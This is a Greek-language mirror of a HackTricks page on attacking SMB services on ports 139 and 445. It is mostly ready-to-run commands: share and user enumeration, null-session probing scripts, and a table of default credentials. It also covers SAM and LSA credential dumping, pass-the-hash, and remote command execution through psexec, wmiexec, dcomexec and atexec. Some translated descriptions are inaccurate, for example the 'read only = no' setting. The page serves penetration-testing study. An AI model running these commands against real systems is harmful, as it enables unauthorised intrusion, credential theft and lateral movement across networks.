mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
552 lines
39 KiB
Markdown
552 lines
39 KiB
Markdown
# 139,445 - Ελεγχος Ασφαλείας SMB
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
## **Θύρα 139**
|
||
|
||
Το _**Βασικό Σύστημα Εισόδου-Εξόδου Δικτύου**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, Η/Υ και επιφάνειες εργασίας εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το δικτυακό υλικό και **να διευκολύνουν τη μετάδοση δεδομένων στο δίκτυο**. Η ταυτοποίηση και η εντοπισμός εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να φτάσουν μέχρι 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (λειτουργών ως πελάτης) εκδίδει μια εντολή για "κλήση" μιας άλλης εφαρμογής (λειτουργών ως διακομιστής) χρησιμοποιώντας τη **Θύρα TCP 139**.
|
||
```
|
||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||
```
|
||
## Θύρα 445
|
||
|
||
Τεχνικά, η Θύρα 139 αναφέρεται ως 'NBT πάνω από IP', ενώ η Θύρα 445 αναγνωρίζεται ως 'SMB πάνω από IP'. Το ακρωνύμιο **SMB** σημαίνει '**Server Message Blocks**', το οποίο είναι επίσης γνωστό σύγχρονα ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου στο επίπεδο εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για τη δυνατότητα κοινής πρόσβασης σε αρχεία, εκτυπωτές, σειριακές θύρες, και για τη διευκόλυνση διαφόρων μορφών επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
|
||
|
||
Για παράδειγμα, στο πλαίσιο των Windows, το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίστροφα, σε διαφορετικά συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP.
|
||
```
|
||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||
```
|
||
### SMB
|
||
|
||
Το πρωτόκολλο **Server Message Block (SMB)**, λειτουργώντας σε ένα μοντέλο **client-server**, σχεδιάστηκε για τον έλεγχο της **πρόσβασης σε αρχεία**, καταλόγους και άλλους δικτυακούς πόρους όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων **Windows**, το SMB εξασφαλίζει αντιστροφή συμβατότητα, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν απροβλημάτιστα με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι τη διασυνοριακή επικοινωνία μέσω SMB.
|
||
|
||
Οι κοινοποιήσεις, που αντιπροσωπεύουν **οποιοδήποτε τμήμα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από ένα διακομιστή SMB, καθιστώντας την ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από την πραγματική δομή του διακομιστή. Οι **Λίστες Ελέγχου Πρόσβασης (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν τον **λεπτοδιάκριτο έλεγχο** των δικαιωμάτων χρήστη, συμπεριλαμβανομένων χαρακτηριστικών όπως **`εκτέλεση`**, **`ανάγνωση`** και **`πλήρης πρόσβαση`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινοποιήσεις, και διαφέρουν από τα τοπικά δικαιώματα που έχουν οριστεί στο διακομιστή.
|
||
|
||
### Κοινοποίηση IPC$
|
||
|
||
Η πρόσβαση στην κοινοποίηση IPC$ μπορεί να επιτευχθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωληνώσεων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Χρησιμοποιημένο σωστά, επιτρέπει την απόκτηση:
|
||
|
||
* Πληροφορίες για το λειτουργικό σύστημα
|
||
* Λεπτομέρειες για το γονικό τομέα
|
||
* Ένα συγκριτικό στοιχείο τοπικών χρηστών και ομάδων
|
||
* Πληροφορίες για διαθέσιμες κοινοποιήσεις SMB
|
||
* Την αποτελεσματική πολιτική ασφαλείας του συστήματος
|
||
|
||
Αυτή η λειτουργικότητα είναι κρίσιμη για διαχειριστές δικτύου και επαγγελματίες ασφαλείας για να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια περιεκτική εικόνα του περιβάλλοντος SMB του στόχου συστήματος, το οποίο είναι ουσιώδες για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι κατάλληλα ασφαλισμένες.
|
||
```bash
|
||
enum4linux -a target_ip
|
||
```
|
||
Το παραπάνω παράδειγμα είναι πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να πραγματοποιήσει μια πλήρη απαρίθμηση εναντίον ενός στόχου που καθορίζεται από το `target_ip`.
|
||
|
||
## Τι είναι το NTLM
|
||
|
||
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς μπορεί να καταχραστεί, θα βρείτε πολύ ενδιαφέρουσα αυτήν τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να επωφεληθείτε από αυτό:**
|
||
|
||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||
[ntlm](../windows-hardening/ntlm/)
|
||
{% endcontent-ref %}
|
||
|
||
## **Απαρίθμηση Διακομιστή**
|
||
|
||
### **Σάρωση** ενός δικτύου αναζητώντας οικοδεσπότες:
|
||
```bash
|
||
nbtscan -r 192.168.0.1/24
|
||
```
|
||
### Έκδοση διακομιστή SMB
|
||
|
||
Για να αναζητήσετε πιθανές ευπάθειες στην έκδοση του SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτές οι πληροφορίες δεν εμφανίζονται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε:
|
||
|
||
* Χρησιμοποιήστε το **MSF** πρόσθετο ενότητας \_**auxiliary/scanner/smb/smb\_version**
|
||
* Ή αυτό το σενάριο:
|
||
```bash
|
||
#!/bin/sh
|
||
#Author: rewardone
|
||
#Description:
|
||
# Requires root or enough permissions to use tcpdump
|
||
# Will listen for the first 7 packets of a null login
|
||
# and grab the SMB Version
|
||
#Notes:
|
||
# Will sometimes not capture or will print multiple
|
||
# lines. May need to run a second time for success.
|
||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||
echo "" && sleep .1
|
||
```
|
||
### **Αναζήτηση εκμετάλλευσης**
|
||
```bash
|
||
msf> search type:exploit platform:windows target:2008 smb
|
||
searchsploit microsoft smb
|
||
```
|
||
### **Πιθανά** Διαπιστευτήρια
|
||
|
||
| **Όνομα Χρήστη** | **Συνηθισμένοι κωδικοί πρόσβασης** |
|
||
| -------------------- | ----------------------------------------- |
|
||
| _(κενό)_ | _(κενό)_ |
|
||
| guest | _(κενό)_ |
|
||
| Administrator, admin | _(κενό)_, password, administrator, admin |
|
||
| arcserve | arcserve, backup |
|
||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||
| backupexec, backup | backupexec, backup, arcada |
|
||
| test, lab, demo | password, test, lab, demo |
|
||
|
||
### Επίθεση Βίας
|
||
|
||
* [**Επίθεση Βίας στο SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||
|
||
### Πληροφορίες Περιβάλλοντος SMB
|
||
|
||
### Απόκτηση Πληροφοριών
|
||
```bash
|
||
#Dump interesting information
|
||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||
|
||
#Connect to the rpc
|
||
rpcclient -U "" -N <IP> #No creds
|
||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||
rpcclient -U "username%passwd" <IP> #With creds
|
||
#You can use querydispinfo and enumdomusers to query user information
|
||
|
||
#Dump user information
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
|
||
#Map possible RPC endpoints
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
```
|
||
### Απαρίθμηση Χρηστών, Ομάδων & Χρηστών που έχουν συνδεθεί
|
||
|
||
Αυτές οι πληροφορίες πρέπει να έχουν ήδη συλλεχθεί από το enum4linux και το enum4linux-ng
|
||
```bash
|
||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||
|
||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||
|
||
rpcclient -U "" -N 10.10.10.10
|
||
enumdomusers
|
||
enumdomgroups
|
||
```
|
||
### Απαρίθμηση τοπικών χρηστών
|
||
|
||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||
```bash
|
||
lookupsid.py -no-pass hostname.local
|
||
```
|
||
Μονογραμμή
|
||
```bash
|
||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||
```
|
||
### Metasploit - Απαριθμώντας τους τοπικούς χρήστες
|
||
```bash
|
||
use auxiliary/scanner/smb/smb_lookupsid
|
||
set rhosts hostname.local
|
||
run
|
||
```
|
||
### **Απαρίθμηση LSARPC και SAMR rpcclient**
|
||
|
||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Σύνδεση GUI από το Linux
|
||
|
||
#### Στο τερματικό:
|
||
|
||
`xdg-open smb://cascade.htb/`
|
||
|
||
#### Στο παράθυρο του φακέλου (nautilus, thunar, κλπ)
|
||
|
||
`smb://friendzone.htb/general/`
|
||
|
||
## Απαρίθμηση Κοινόχρηστων Φακέλων
|
||
|
||
### Λίστα κοινόχρηστων φακέλων
|
||
|
||
Πάντα συνιστάται να ελέγξετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε τα **null** **διαπιστευτήρια/επισκέπτης χρήστης**.
|
||
```bash
|
||
smbclient --no-pass -L //<IP> # Null user
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
|
||
smbmap -H <IP> [-P <PORT>] #Null user
|
||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||
|
||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||
```
|
||
### **Σύνδεση/Λίστα κοινόχρηστου φακέλου**
|
||
```bash
|
||
#Connect using smbclient
|
||
smbclient --no-pass //<IP>/<Folder>
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||
|
||
#List with smbmap, without folder it list everything
|
||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
```
|
||
### **Χειροκίνητη απαρίθμηση κοινοποιήσεων των Windows και σύνδεση σε αυτές**
|
||
|
||
Ενδέχεται να είστε περιορισμένοι στην εμφάνιση οποιωνδήποτε κοινοποιήσεων του υπολογιστή-στόχου και όταν προσπαθείτε να τις απαριθμήσετε, φαίνεται ότι δεν υπάρχουν κοινοποιήσεις στις οποίες μπορείτε να συνδεθείτε. Επομένως, αξίζει να δοκιμάσετε να συνδεθείτε χειροκίνητα σε μια κοινοποίηση. Για να απαριθμήσετε τις κοινοποιήσεις χειροκίνητα, μπορεί να θέλετε να ψάξετε για απαντήσεις όπως NT\_STATUS\_ACCESS\_DENIED και NT\_STATUS\_BAD\_NETWORK\_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. κενή συνεδρία ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν εάν η κοινοποίηση υπάρχει και δεν έχετε πρόσβαση σε αυτήν ή εάν η κοινοποίηση δεν υπάρχει καθόλου.
|
||
|
||
Συνήθεις ονομασίες κοινοποιήσεων για στόχους Windows είναι:
|
||
|
||
* C$
|
||
* D$
|
||
* ADMIN$
|
||
* IPC$
|
||
* PRINT$
|
||
* FAX$
|
||
* SYSVOL
|
||
* NETLOGON
|
||
|
||
(Συνήθεις ονομασίες κοινοποιήσεων από το _**Network Security Assessment 3η έκδοση**_)
|
||
|
||
Μπορείτε να δοκιμάσετε να συνδεθείτε σε αυτές χρησιμοποιώντας την παρακάτω εντολή
|
||
```bash
|
||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||
```
|
||
ή αυτό το script (χρησιμοποιώντας μια null συνεδρία)
|
||
```bash
|
||
#/bin/bash
|
||
|
||
ip='<TARGET-IP-HERE>'
|
||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||
|
||
for share in ${shares[*]}; do
|
||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||
|
||
if [[ -z $output ]]; then
|
||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||
else
|
||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||
fi
|
||
done
|
||
```
|
||
### Παραδείγματα
|
||
|
||
Μερικά παραδείγματα επιθέσεων SMB περιλαμβάνουν:
|
||
|
||
- Εκμετάλλευση ευπαθειών στο πρωτόκολλο SMB για αποκτήσει πρόσβαση σε συστήματα
|
||
- Χρήση εργαλείων όπως το Responder για να προκαλέσεις αποκλίσεις στην κίνηση SMB και να αποκτήσεις πληροφορίες σύνδεσης
|
||
- Εκτέλεση επιθέσεων κοινής χρήσης (share) για να αποκτήσεις πρόσβαση σε αρχεία και φακέλους που είναι κοινόχρηστοι μέσω του πρωτοκόλλου SMB
|
||
```bash
|
||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||
```
|
||
### **Απαρίθμηση κοινοποιήσεων από Windows / χωρίς εργαλεία τρίτων**
|
||
|
||
PowerShell
|
||
```powershell
|
||
# Retrieves the SMB shares on the locale computer.
|
||
Get-SmbShare
|
||
Get-WmiObject -Class Win32_Share
|
||
# Retrieves the SMB shares on a remote computer.
|
||
get-smbshare -CimSession "<computer name or session object>"
|
||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||
Get-SmbConnection
|
||
```
|
||
Κονσόλα CMD
|
||
```shell
|
||
# List shares on the local computer
|
||
net share
|
||
# List shares on a remote computer (including hidden ones)
|
||
net view \\<ip> /all
|
||
```
|
||
MMC Snap-in (γραφικό)
|
||
```shell
|
||
# Shared Folders: Shared Folders > Shares
|
||
fsmgmt.msc
|
||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||
compmgmt.msc
|
||
```
|
||
```html
|
||
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.
|
||
|
||
### Τοποθετήστε ένα κοινόχρηστο φάκελο
|
||
```
|
||
```bash
|
||
mount -t cifs //x.x.x.x/share /mnt/share
|
||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||
```
|
||
### **Λήψη αρχείων**
|
||
|
||
Διαβάστε τις προηγούμενες ενότητες για να μάθετε πως να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash.
|
||
```bash
|
||
#Search a file and download
|
||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||
```
|
||
|
||
```bash
|
||
#Download all
|
||
smbclient //<IP>/<share>
|
||
> mask ""
|
||
> recurse
|
||
> prompt
|
||
> mget *
|
||
#Download everything to current directory
|
||
```
|
||
### Αναζήτηση Κοινόχρηστων Φακέλων Domain
|
||
|
||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||
```bash
|
||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||
```
|
||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) αράχνη.
|
||
* `-M spider_plus [--share <share_name>]`
|
||
* `--pattern txt`
|
||
```bash
|
||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||
```
|
||
Ειδικά ενδιαφέρον αποτελούν τα αρχεία με τα ονόματα **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **αυτόματη σύνδεση** μέσω της ομάδας πολιτικής. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
|
||
|
||
{% hint style="info" %}
|
||
Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους εξουσιοδοτημένους χρήστες στον τομέα. Εκεί μπορείτε να **βρείτε** πολλά διαφορετικά αρχεία εκτέλεσης εντολών, VBScript και PowerShell.\
|
||
Θα πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς ενδέχεται να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**.
|
||
{% endhint %}
|
||
|
||
## Διάβασμα του Μητρώου
|
||
|
||
Μπορείτε να **διαβάσετε το μητρώο** χρησιμοποιώντας κάποια ανακαλυφθέντα διαπιστευτήρια. Το Impacket **`reg.py`** σάς επιτρέπει να το δοκιμάσετε:
|
||
```bash
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||
```
|
||
## Post Exploitation
|
||
|
||
Η **προεπιλεγμένη ρύθμιση** ενός **διακομιστή Samba** συνήθως βρίσκεται στο `/etc/samba/smb.conf` και ενδέχεται να περιέχει μερικές **επικίνδυνες ρυθμίσεις**:
|
||
|
||
| **Ρύθμιση** | **Περιγραφή** |
|
||
| --------------------------- | ------------------------------------------------------------------- |
|
||
| `browseable = yes` | Να επιτρέπεται η εμφάνιση διαθέσιμων κοινών φακέλων; |
|
||
| `read only = no` | Να απαγορεύεται η δημιουργία και τροποποίηση αρχείων; |
|
||
| `writable = yes` | Να επιτρέπεται στους χρήστες η δημιουργία και τροποποίηση αρχείων; |
|
||
| `guest ok = yes` | Να επιτρέπεται η σύνδεση στην υπηρεσία χωρίς χρήση κωδικού πρόσβασης; |
|
||
| `enable privileges = yes` | Να τηρούνται τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID; |
|
||
| `create mask = 0777` | Ποιες άδειες πρέπει να ανατεθούν στα νεοδημιουργημένα αρχεία; |
|
||
| `directory mask = 0777` | Ποιες άδειες πρέπει να ανατεθούν στους νεοδημιουργημένους φακέλους; |
|
||
| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελεστεί κατά τη σύνδεση του χρήστη; |
|
||
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελεστεί όταν κλείνει το σενάριο; |
|
||
| `magic output = script.out` | Πού πρέπει να αποθηκευτεί το αποτέλεσμα του μαγικού σεναρίου; |
|
||
|
||
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και με το **ποιος είναι συνδεδεμένος**.
|
||
|
||
## Ταυτοποίηση χρήσης Kerberos
|
||
|
||
Μπορείτε να **ταυτοποιηθείτε** στο **Kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
|
||
```bash
|
||
smbclient --kerberos //ws01win10.domain.com/C$
|
||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
## **Εκτέλεση Εντολών**
|
||
|
||
### **crackmapexec**
|
||
|
||
Το crackmapexec μπορεί να εκτελέσει εντολές **καταχρηστεύοντας** οποιαδήποτε από τις μεθόδους **mmcexec, smbexec, atexec, wmiexec** με την **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||
```
|
||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||
|
||
Και οι δύο επιλογές θα **δημιουργήσουν ένα νέο υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα θύματος και θα το χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στον κοινόχρηστο φάκελο ADMIN$ και **smbexec** θα δείχνει στο **cmd.exe/powershell.exe** και θα βάλει στα ορίσματα το φορτωμένο αρχείο --**τεχνική χωρίς αρχείο-**-).\
|
||
**Περισσότερες πληροφορίες** σχετικά με το [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) και το [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
Χρησιμοποιώντας τη **παράμετρο** `-k` μπορείτε να πιστοποιηθείτε εναντίον του **kerberos** αντί για το **NTLM**
|
||
|
||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||
|
||
Εκτελέστε με διακριτικότητα ένα κέλυφος εντολών χωρίς να αγγίξετε το δίσκο ή να εκτελέσετε ένα νέο υπηρεσία χρησιμοποιώντας το DCOM μέσω **θύρας 135.**\
|
||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
Χρησιμοποιώντας τη **παράμετρο** `-k` μπορείτε να πιστοποιηθείτε εναντίον του **kerberos** αντί για το **NTLM**.
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||
|
||
Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
|
||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
## Impacket αναφορά
|
||
|
||
